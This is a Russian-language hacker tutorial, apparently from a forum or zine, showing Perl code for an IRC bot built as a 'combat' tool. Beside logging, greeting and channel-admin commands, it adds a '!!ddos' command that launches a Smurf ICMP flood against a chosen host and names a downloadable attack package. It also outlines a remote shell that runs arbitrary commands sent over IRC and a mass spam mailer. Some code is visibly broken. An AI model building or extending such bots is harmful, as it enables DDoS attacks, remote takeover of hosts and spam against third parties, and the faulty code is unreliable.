|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
Давно хотел поднять эту тему, и вот - поднимаю =) На данный момент существует большое количество различных ботов для IRC - как "заводских" (eggdrop, IRC-drop), так и самописных.. В основном они используются для ведения логов и различных фич, типа голосований, приветствий, etc. Мы же попробуем создать более "боевую" модель. Полных кодов я не буду выкладывать, я распишу лишь некоторые фичи, которые использую я. Бот будет на Perl, т.к. "мало информации в интернете на эту тему" (шутка.. кто знает, тот поймет =)))) На самом деле потому, что perl собран на многих машинах типа Unix, коих в сети великое множество.
Итак, вперед..
Начнем с начала (как это ни странно =):
-----
#!/usr/bin/perl - # думаю, ясно за чем это =)
use IO::Socket; # модуль, для создания и работы с сокетом
#####Const#####
if (@ARGV < 4) { # работа с командной строкой
print "\nUsage:";
print ".hb.pl \n"; # выводим всякую хренотень ))
exit(1);
}
$server = $ARGV[0]; # имя сервера
$port = $ARGV[1]; # порт сервера
$chan = $ARGV[2]; # начальный канал
$nick = $ARGV[3]; # ник бота, так же будет идентификатором
$MAX_SIZE = 65000; # для соккета, если не в курсе зачем это, то не меняйте =)
#####
#####ADMIN#####
open(ADMINFILE,"admin.txt"); # эту фичу я нашел в одном самописном боте,
#она использует файл для получения ников админов бота
@admin=; # кидаем список админов в массив
close(ADMIN);
#####
-----
Основные переменные описаны, теперь открытие сокета:
-----
#####Socket#####
$irc=IO::Socket::INET->new
(
PeerAddr => $server,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM
) || die "Error$@\n";
#####
-----
Идентификация:
-----
#####IDENTIFY#####
$irc->send("NICK $nick\nUSER root 0 * :$nick\r\n") || die "Can't send IDENTIFY data\n";
#####
-----
и заход на канал:
-----
#####Join#####
$irc->send("JOIN $chan\n") || die "Can't join a channel\n";
#####
-----
теперь сам "движок", выглядит он так:
-----
#####MSG#####
while ($irc->recv($msg, $MAX_SIZE)==true) {
# действие - ответ
}
-----
Естественно, что сервер будет посылать запросы типа ping для проверки наличия клиента, поэтому мы должны ему отвечать, иначе - вылет:
-----
#####PING:PONG#####
if ($msg =~ /^PING\s:/) {$irc->send("PONG $server\n") || die "Can't send PONG repply\n";}
#####
-----
Теперь разберем самое интересное =) Это команды и действия нашего бота. Если вы не знаете Perl, то попробуйте прочитать код и понять его (код =)
1. Логирование.
Я достаточно немного возился с этой опцией, поэтому она получилась немного "сыроватой", но, я думаю, суть ее понять вы сможете:
-----
#####LOG#####
$log = sprintf("%04d-%02d-%02d",($tyear+1900),($tmon+1),$tmday).".txt"; # имя лог-файла будет датой старта бота
open(LOG,">>$log") || die "Can't open $log\n";
###ACTION#
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:ACTION\s(\S.*)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 $5\n";}
###PRIVMSG#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:(\S.*)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $4 $1: $5 \n";}
###QUIT#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sQUIT\s:(\S.*):\s(\S.*)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 QUIT: $4: $5 \n";}
###NICK#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sNICK\s:(\S.+)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 NICK: $4\n";}
###JOIN#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:(\S.+)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 JOIN: $4\n";}
###PING:PONG#
elsif ($msg =~ /^PING\s:(\S.*)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] PING:PONG\n";}
###OTHER#
else {print LOG "$msg";}
close(LOG);
#####
-----
Повторю, что этот код очень "сырой"..
2. Сообщение при входе.
Ну, тут все просто:
-----
#####WELLCOME#####
###ALL
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:.+$/)
{$irc->send("NOTICE $1 :07,01Welcome 2 our channel! 15Channel about our life..\n");}
###NAME
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:(\S+)/) {
if ($1 eq "Is7d") {$irc->send("PRIVMSG $4 :07,01 Welcome back, Is7d! \n");}
}
#####
-----
3. Анти-кик.
Теперь представим ситуацию, что бота кикнули..
-----
#####RE-JOIN#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sKICK\s(\S+)\s(\S+)\s:(\S+)/) {
if ($5 eq $nick) {$irc->send("JOIN $4\n");}
}
#####
-----
4. Стандартные "админские" команды боту:
-----
#####ADMIN_CMD#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####OP#
###+
if ($5 eq "+op") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 +o $1\n");}
else {$irc->send("MODE $4 +o $6\n");}
} else {$irc->send("PRIVMSG $chan :04,01You are not admin..\n")}
}
###-
if ($5 eq "-op") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 -o $1\n");}
else {$irc->send("MODE $4 -o $6\n");}
} else {$irc->send("PRIVMSG $chan :04,01You are not admin..\n")}
}
#####
#####HALFOP#
###+
if ($5 eq "+hop") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 +h $1\n");}
else {$irc->send("MODE $4 +h $6\n");}
} else {$irc->send("PRIVMSG $chan :04,01You are not admin..\n")}
}
###-
if ($5 eq "-hop") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 -h $1\n");}
else {$irc->send("MODE $4 -h $6\n");}
} else {$irc->send("PRIVMSG $chan :04,01You are not admin..\n")}
}
#####
#####VOICE#
###+
if ($5 eq "+voc") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 +v $1\n");}
else {$irc->send("MODE $4 +v $6\n");}
} else {$irc->send("PRIVMSG $chan :04,01You are not admin..\n")}
}
###-
if ($5 eq "-voc") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 -v $1\n");}
else {$irc->send("MODE $4 -v $6\n");}
} else {$irc->send("PRIVMSG $chan :04,01You are not admin..\n")}
}
}
#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####PART#
if ($5 eq "part") {$test=grep /^$1$/, @admin;
if ($test==1){$irc->send("PART $6\n");}
}
#####JOIN#
if ($5 eq "join") {$test=grep /^$1$/, @admin;
if ($test==1) {$irc->send("JOIN $6\n");}
}
#####QUIT#
if ($5 eq "quit") {$test=grep /^$1$/, @admin;
if ($test==1) {$irc->send("QUIT :$6\n"); exit;}
}
#####
}
#####
-----
5. Различные стандартные команды:
-----
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)/) {
#####HELP#
if ($5 eq "help") {$irc->send("PRIVMSG $1 :04,01..help is disable..\n");}
#####
#####TIME#
if ($5 eq "time") {$irc->send("NOTICE $1 :07,01Now is: $time on this host\n");}
#####
}
-----
Теперь вот такие.. Этот код писал не я, да он и не совсем так работает, но тут важен принцип:
-----
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####HTTP#
if ($5 eq "http") {
$web=IO::Socket::INET->new(PeerAddr => $6, PeerPort => 80, Photo => "tcp", Timeout => 1000);
if($web) {
$web->send("HEAD / HTTP/1.0\n\n");
@web=<$web>;
foreach $fanswer(@web) {
$fanswer=~s#/# #g;
$irc->send("NOTICE $1 :07,01$fanswer\n")
}
close($web);
}
else {$irc->send("NOTICE $1 : 07,01Can't connect to server $6 port 80\n");}
}
}
#####
-----
Почти так же для ftp, ssh, etc..
Теперь "боевая" фича для Smurf DDoS =)) :
-----
if ($5 eq "ddos") {
system("./smu $6 ips2.txt -P icmp -d $8 -p $7 -S $9 &");
}
-----
Разруливать сильно не хочу, да и не к чему.. Это все опять же показывает только принцип.. "Пакет" для smddos лежит в /files/smu.tgz
Здесь я привел пример лишь одной команды, вызывающей атаку на хост, все зависит от ваших идей и их реализации.. Одно милое создание под ником 313х4 уже предложила мне натыкать в моего бота кучу видов атак =F Что я скоро и реализую ))
Я подкину еще идеи, которые я уже реализовал или еще собираюсь реализовать.
1. Удаленное администрирование.
Добавление нового имени в файл с никами админов, после чего необходимо вновь "привязать" массив с админами к файлу.
2. Разделение админов по уровню доступа.
Это реально через split. Т.е. файл админов будет выглядеть примерно так:
-----
Is7d:10000
l0ne_w0lf:7000
GoodWin:8000
-----
Чем больше уровень доступа, тем больше фич будет доступно соотвественно..
3. Вывод помощи (help) соответственно уровню доступа.
Т.е. при высшем уровне выводится хэлп по всем командам и фичам, при среднем уровне - команды, доступные среднему уровню, etc..
4. Удаленный shell.
Например по команде: "!!cmd uname -a" бот выполняет на хосте "uname -a" и присылает вам ответ команды.
5. Рассылка почты.
Это, возможно, пригодится спаммерам. Например после отсылки такой команды: "!!mail maillist.txt::Привет!", бот разошлет через sendmail письма, внесенные в файл "maillist.txt" с содержанием "Привет!"..
Думаю, что принцип показан, для реализации всего, что я задумал нужно лишь 3 вещи - терпение, знание perl и идея (хотя бы маленькая, но идея)..
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
